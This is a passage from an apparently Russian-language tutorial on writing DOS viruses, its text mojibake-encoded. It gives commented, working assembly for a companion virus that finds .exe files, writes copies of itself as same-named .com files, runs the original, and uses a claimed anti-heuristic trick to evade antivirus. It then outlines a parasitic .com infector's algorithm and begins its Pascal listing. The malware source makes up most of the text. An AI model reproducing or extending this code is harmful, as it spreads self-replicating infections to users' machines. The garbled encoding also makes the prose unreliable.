lea dx,msg ; Î òîì, êòî ìû åñòü

int 21h ;

int 20h ; Êîíåö ïðîãðàììû

msg db 0ah,0dh,"[SiMpL3 C0mp4ni0n ViRuS] by s10n$"

file1 db '*.exe',0

dta db 43 dup(?)

len equ $-start

cseg ends

end start

;----------------------------------------------

Ðàññìîòðèì áîëåå ïîäðîáíî ïðåäûäóùèé âèðóñ.
Íà÷íåì, åñòåñòâåííî, ñ ïåðâîãî áëîêà èíñòðóêöèé:

;----------------------------------------------

run:

lea bx,dta+30 ; Ñâÿæåì bx ñ èìåíåì ôàéëà

pov:

mov al,[bx] ; Çàãðóçèì â al ïåðâûé ñèìâîë èç bx

cmp al,'.' ; Ïðîâåðèì, òî÷êà ëè ýòî?

inc bx ; Ïåðåõîäèì ê ñëåäóþùåìó ñèìâîëó

je izm ; Åñëè äà, òî èäåì íà ìåòêó èçìåíåíèÿ ðàñøèðåíèÿ

jmp pov

;----------------------------------------------

Â äàííîì áëîêå èäåò ïîèñê íà÷àëà ðàñøèðåíèÿ ôàéëà.
Ïåðâàÿ èíñòðóêöèÿ «lea bx,dta+30» êëàäåò â ðåãèñòð bx ñìåùåíèå íà èìÿ ôàé-

ëà. Âòîðàÿ èíñòðóêöèÿ «mov al,[bx]» êëàäåò íèæíèé áàéò ðåãèñòðà ax ïåðâûé ñèì-
âîë èç èìåíè ôàéëà. Òðåòüÿ èíñòðóêöèÿ «cmp al,'.'» ïðîâåðÿåò, íå òî÷êà ëè ýòî,
ò. å. äîøëè ëè ìû äî ðàñøèðåíèÿ â èìåíè ôàéëà. ×åòâåðòàÿ èíñòðóêöèÿ «inc bx» —
ïåðåõîäèì ê ñëåäóþùåìó ñèìâîëó â èìåíè ôàéëà. Ïÿòàÿ èíñòðóêöèÿ «je izm» —
åñëè òî÷êà, òî ïåðåõîäèì íà ìåòêó èçìåíåíèÿ ðàñøèðåíèÿ ôàéëà. Øåñòàÿ èíñò-
ðóêöèÿ «jmp pov» — åñëè òî÷êà â èìåíè ôàéëà íå íàéäåíà, ïðîäîëæàåì ïîèñê.

Âòîðîé áëîê:

;----------------------------------------------

izm:

mov al,'e' ; Ïîëîæèì ñèìâîë 'e' â al

mov [bx],al ; Ïîëîæèì â DTA, ñèìâîë èç al

inc bx ; Ïåðåéäåì ê ñëåäóþùåìó ñèìâîëó

mov al,'x' ; Ïîëîæèì ñèìâîë 'x' â al

mov [bx],al ; Ïîëîæèì â DTA, ñèìâîë èç al

inc bx ; Ïåðåéäåì ê ñëåäóþùåìó ñèìâîëó

mov al,'e' ; Ïîëîæèì ñèìâîë 'e' â al

mov [bx],al ; Ïîëîæèì â DTA, ñèìâîë èç al

; Ìû-òî çàïóñòèëèñü èç *.com ôàéëà, íî èçìåíèëè ñâîå

; ðàñøèðåíèå íà *.exe (ò. å. çàïóñòèì íàñòîÿùóþ ïðîãðàììó)

;----------------------------------------------
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Â äàííîì áëîêå ðàñøèðåíèå ôàéëà ìåíÿåòñÿ íà *.exe.
Âñå èíñòðóêöèè äàííîãî áëîêà áûëè ðàññìîòðåíû â ïðåäûäóùåì, ïîýòîìó

ïîäðîáíîå êîììåíòèðîâàíèå èçëèøíå.
Ïåðåéäåì ê òðåòüåìó áëîêó:

;----------------------------------------------

mov ah,4ah ; Âûäåëèì ïàìÿòè ïîáîëüøå

mov bx,5000h ; Äëÿ çàïóñêà îðèãèíàëüíîé ïðîãðàììû èç íàøåãî

int 21h ; Äâîéíèêà

;----------------------------------------------

Â äàííîì áëîêå âûäåëÿåòñÿ ïàìÿòü äëÿ çàïóñêà îðèãèíàëüíîé ïðîãðàììû
(íå äâîéíèêà).

Ïåðâàÿ èíñòðóêöèÿ «mov ah,4ah» — ýòî DOS-ôóíêöèÿ èçìåíåíèÿ ðàçìåðà
áëîêà ïàìÿòè. Âòîðàÿ èíñòðóêöèÿ «mov bx,5000h» — â ðåãèñòð bx ëîæèòñÿ íî-
âûé ðàçìåð áëîêà ïàìÿòè. Òðåòüÿ èíñòðóêöèÿ î÷åâèäíà.

Òåïåðü ÷åòâåðòûé áëîê:

;----------------------------------------------

mov ah,4bh ;

mov al,00 ;

lea dx,dta+30 ; Çàïóñòèì íàñòîÿùóþ ïðîãðàììó

int 21h ;

;----------------------------------------------

Â äàííîì áëîêå çàïóñêàåòñÿ îðèãèíàëüíàÿ ïðîãðàììà. Åñëè æå ìû ñòàðòóåì
ïåðâûé ðàç è íå èç ôàéëà-äâîéíèêà, òî áëîê ñ äàííûìè î ôàéëå (dta) áóäåò
ïóñò, è íè÷åãî íå çàïóñòèòñÿ.

Ïåðâàÿ èíñòðóêöèÿ «mov ah,4bh» — ýòî DOS-ôóíêöèÿ çàïóñêà ïðîãðàììû.
Âòîðàÿ èíñòðóêöèÿ «mov al,00» — ýòî òèï çàãðóçêè (â äàííîì ñëó÷àå çàãðóçèòü
è âûïîëíèòü) Òðåòüÿ èíñòðóêöèÿ «lea dx,dta+30» — â dx çàãðóæàåòñÿ èìÿ âû-
ïîëíÿåìîãî ôàéëà. ×åòâåðòàÿ èíñòðóêöèÿ «int 21h» — âûçîâ 21 ïðåðûâàíèÿ.

Ïåðåõîäèì ê ïÿòîìó áëîêó:

;----------------------------------------------

mov ah,1ah ;

lea dx,dta ; Óêàçàòåëü íà íîâûé DTA

int 21h ;

;----------------------------------------------

Äàííûé áëîê âûçûâàåò DOS-ôóíêöèþ 1ah äëÿ óñòàíîâêè àäðåñà DTA (disk
transfer area). Âñå äàííûå î íàéäåííûõ ôàéëàõ òåïåðü áóäóò õðàíèòüñÿ â ïåðå-
ìåííîé dta.

Øåñòîé áëîê:

;----------------------------------------------

mov ah,4eh ; Ôóíêöèÿ findfirst

lea dx,file1 ; Íàéäåì ïåðâûé *.exe

int 21h ;

infect:

lea bx,dta+30 ; Ñâÿæåì bx ñ èìåíåì ôàéëà

pov2:

mov al,[bx] ; Çàãðóçèì â al ïåðâûé ñèìâîë èç bx
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cmp al,'.' ; Ïðîâåðèì, òî÷êà ëè ýòî?

inc bx ; Ïåðåõîäèì ê ñëåäóþùåìó ñèìâîëó

je izm2 ; Åñëè äà, òî èäåì íà ìåòêó èçìåíåíèÿ ðàñøèðåíèÿ

jmp pov2

izm2:

mov al,'c' ; Ïîëîæèì ñèìâîë 'c' â al

mov [bx],al ; Ïîëîæèì â DTA, ñèìâîë èç al

inc bx ; Ïåðåéäåì ê ñëåäóþùåìó ñèìâîëó

mov al,'o' ; Ïîëîæèì ñèìâîë 'o' â al

mov [bx],al ; Ïîëîæèì â DTA, ñèìâîë èç al

inc bx ; Ïåðåéäåì ê ñëåäóþùåìó ñèìâîëó

mov al,'m' ; Ïîëîæèì ñèìâîë 'm' â al

mov [bx],al ; Ïîëîæèì â DTA, ñèìâîë èç al

;----------------------------------------------

Â äàííîì áëîêå ïðîèçâîäèòñÿ ïîèñê ôàéëà ñ ðàñøèðåíèåì *.exe (åãî èìÿ
õðàíèòñÿ â ïåðåìåííîé dta ïî ñìåùåíèþ 30), çàòåì åãî ðàñøèðåíèå çàìåíÿåòñÿ
íà *.com (îïÿòü æå íå ñàìîãî ôàéëà, à åãî èìåíè â ïåðåìåííîé dta).

Äîáðàëèñü äî ñåäüìîãî áëîêà:

;----------------------------------------------

mov ah,3ch ; Ôóíêöèÿ ñîçäàíèÿ ôàéëà-äâîéíèêà

lea dx,dta+30 ; Òî åñòü ñ èäåíòè÷íûì èìåíåì, íî îòëè÷àþùèìñÿ ðàñøèðåíèåì

xor cx,cx ; Åñëè áûë íàéäåí hi.exe, òî ñîçäàäèì hi.com

int 21h ;

;----------------------------------------------

Â äàííîì áëîêå ñîçäàåòñÿ *.com ôàéë-äâîéíèê, â êà÷åñòâå ïîÿñíåíèÿ êîì-
ìåíòàðèÿ ê êîäó.

Íó, è ïîñëåäíèé, âîñüìîé áëîê:

;----------------------------------------------

mov ax,3d02h ; Îòêðîåì òîëüêî ÷òî ñîçäàííûé ôàéë

lea dx,dta+30 ; Äëÿ ÷òåíèÿ/çàïèñè

int 21h ;

xchg ax,bx ; Ïîëîæèì â bx õýíäë ôàéëà

mov ah,40h ; Ôóíêöèÿ çàïèñè â ôàéë

int 1h ; Àíòèýâðèñòèêà - àíòèâèðóñû íàñ íå íàéäóò !!!!!!

mov cl,len ; Ïåðåïèøåì âåñü âèðóñ ñ ñàìîãî íà÷àëà

mov dx,100h ; È äî êîíöà â ôàéë-äâîéíèê

int 21h ;

mov ah,4Fh ; Ôóíêöèÿ findnext

int 21h ;

jnc infect ; Åñëè åùå ÷òî-òî åñòü, òî çàðàæàåì

exit:

mov ah,09h ; Âûâåäåì ñîîáùåíèå

lea dx,msg ; Î òîì, êòî ìû åñòü

int 21h ;

int 20h ; Êîíåö ïðîãðàììû

;----------------------------------------------
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Äàííûé áëîê çàíèìàåòñÿ íåïîñðåäñòâåííûì ïåðåíîñîì òåëà âèðóñà â òîëü-
êî ÷òî ñîçäàííûé ôàéë-äâîéíèê, òàêæå îí ïðîäîëæàåò èñêàòü æåðòâû è çàðà-
æàòü èõ. Â êîíöå âûâîäèòñÿ ñîîáùåíèå ñ íàçâàíèåì âèðóñà, è çàâåðøàåòñÿ ðà-
áîòà âèðóñíîé ïðîãðàììû. Âñå èíñòðóêöèè â äàííîì áëîêå áûëè ïîäðîáíî ðàñ-
ñìîòðåíû â îïèñàíèè âèðóñà overwriter, è êîììåíòèðîâàòü èõ âòîðîé ðàç ÿ íå
âèæó ñìûñëà.

Áîðüáà ñ âèðóñàìè äàííîãî òèïà äîâîëüíà ïðèìèòèâíà. Íåîáõîäèìî âñåãî
ëèøü óäàëèòü ôàéë-äâîéíèê ñ ðàñøèðåíèåì «*.com».

Ãëàâà 3
Ïðîñòåéøèå parasitic-âèðóñû

Âîò ìû è äîáðàëèñü äî îäíîé èç ñàìûõ èíòåðåñíûõ ÷àñòåé ýòîãî ïîâåñòâîâà-
íèÿ. Â íåé ïîéäåò ðå÷ü î ñàìûõ ðàñïðîñòðàíåííûõ íà ñåãîäíÿøíèé äåíü âèðó-
ñàõ. Ïðèíöèï äåéñòâèÿ òàêîâ, ÷òî îíè èçìåíÿþò ñàì ôàéë-æåðòâó òàêèì îáðà-
çîì, ÷òî îí íå òåðÿåò ñâîåé ôóíêöèîíàëüíîñòè, òî åñòü ïàðàçèòèðóþò íà íåì.
Àëãîðèòì âñåõ âèðóñîâ-ïàðàçèòîâ ïðèìåðíî ñëåäóþùèé.

1. Ïðè çàïóñêå çàðàæåííîé ïðîãðàììû âèðóñ ïîëó÷àåò óïðàâëåíèå, âûïîë-
íÿåò ñâîè ôóíêöèè ïî ðàçìíîæåíèþ (âîçìîæíî, äåñòðóêòèâíûå).

2. Âîçâðàùàåò óïðàâëåíèå ïðîãðàììå-íîñèòåëþ ïàðàçèòà, è îíà âûïîëíÿåò-
ñÿ, êàê è äîëæíà.

Ñëåäóåò çàìåòèòü, ÷òî âèðóñ îáû÷íî ðàáîòàåò äîñòàòî÷íî áûñòðî, è ïîëüçî-
âàòåëü íå óñïåâàåò çàìåòèòü êàêîé-òî ðàçíèöû ïðè ðàáîòå ñ çàðàæåííîé è íåçà-
ðàæåííîé ïðîãðàììû.

Ðåàëèçàöèÿ íà Ïàñêàëå áîëåå èëè ìåíåå ïîëíîöåííîãî ïàðàçèòà äîâîëüíî
íåïðèÿòíà. Äëÿ ïðèìåðà ÿ ïðèâåäó ëèñòèíã *.com ïàðàçèòà, êîòîðûé ðàáîòàåò
ïî ñëåäóþùåìó àëãîðèòìó:

1) íàõîäèò âñå æåðòâû â òåêóùåì êàòàëîãå;
2) åñëè íàéäåí ôàéë vasya.com, òî â ñòðîêîâóþ ïåðåìåííóþ ïîëîæèò ïðå-

îáðàçîâàííîå èìÿ ôàéëà vasya.tmp;
3) ïðîâåðÿåò, çàðàæåí èëè íåò ôàéë vasya.com. Åñëè äà, òî ïåðåõîäèò ê

ñëåäóþùåìó ôàéëó; åñëè íåò, òî íà øàã 4;
4) çàïèñûâàåò vasya.com â vasya.tmp5;
5) çàïèñûâàåò òåëî âèðóñà â vasya.com;
6) äîïèñûâàåò â vasya.com èç ôàéëà vasya.tmp;
7) óäàëÿåò vasya.tmp;
8) ïðîâåðÿåò äëèíó ôàéëà, è åñëè ôàéë, èç êîòîðîãî ìû çàïóñòèëèñü, áîëü-

øå äëèíû âèðóñà, òî ïåðåïèñûâàåò âñå, ÷òî íàõîäèòñÿ ïîñëå òåëà âèðóñà, â ôàéë
31337.com;

9) çàïóñêàåò åãî, è ïîñëå òîãî êàê îí îòðàáîòàåò, óäàëÿåò åãî æå;
10) âûâîäèò ñîîáùåíèå;
11) çàêàí÷èâàåò ðàáîòó.
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Ñëåäóåò ðàññìîòðåòü, êàê âûãëÿäèò ôàéë äî èíôèöèðîâàíèÿ è ïîñëå:
à) äî èíôèöèðîâàíèÿ:

á) ïîñëå èíôèöèðîâàíèÿ:

À âîò è ëèñòèíã, êàê âñåãäà, ïðîêîììåíòèðîâàííûé, íî äëÿ ÷èñòîòû ñîâåñòè
ñëåäóåò ñêàçàòü, ÷òî âèðóñ èäåíòèôèöèðóåòñÿ AVP êàê «êîä ïîäîçðèòåëüíûé äëÿ
âèðóñà HLL_type».

{---------------------------------------------}

{$m,8126,0,0} {Âûäåëÿåì ïàìÿòü äëÿ DOS}

program parasit;

uses dos; {èñïîëüçóåìûå áèáëîòåêè}

type

mas=array[1..200] of string; {Ìàññèâ äëÿ èìåí ôàéëîâ}

var

d:mas;

n,i:integer;

st:string;

virlen,fsize:longint; {ïåðåìåííûå}

f:file of char;

exehead:char;

{---------------------------------------------}

procedure find(var ff:mas;var kol:integer); {Ïðîöåäóðà ïîèñêà ôàéëîâ ñðàçó âñåõ}

var

dirinfo:searchrec;

begin

findfirst('*.com',$3F,dirinfo); {DOS-ôóíêöèÿ findfirst}

ff[1]:=dirinfo.name;

kol:=1;

i:=2;

while 1<2 do

begin

findnext(dirinfo); {DOS-ôóíêöèÿ findnext}

ff[i]:=dirinfo.name;

if ff[i]=ff[i-1]

then begin

ff[i]:=''; {Åñëè ïðåäûäóùèé ôàéë ðàâåí}

break; {ñëåäóþùåìó, çíà÷èò ôàéëû çàêîí÷èëèñü}

end;

kol:=kol+1;

i:=i+1;

end;

end;

{---------------------------------------------}
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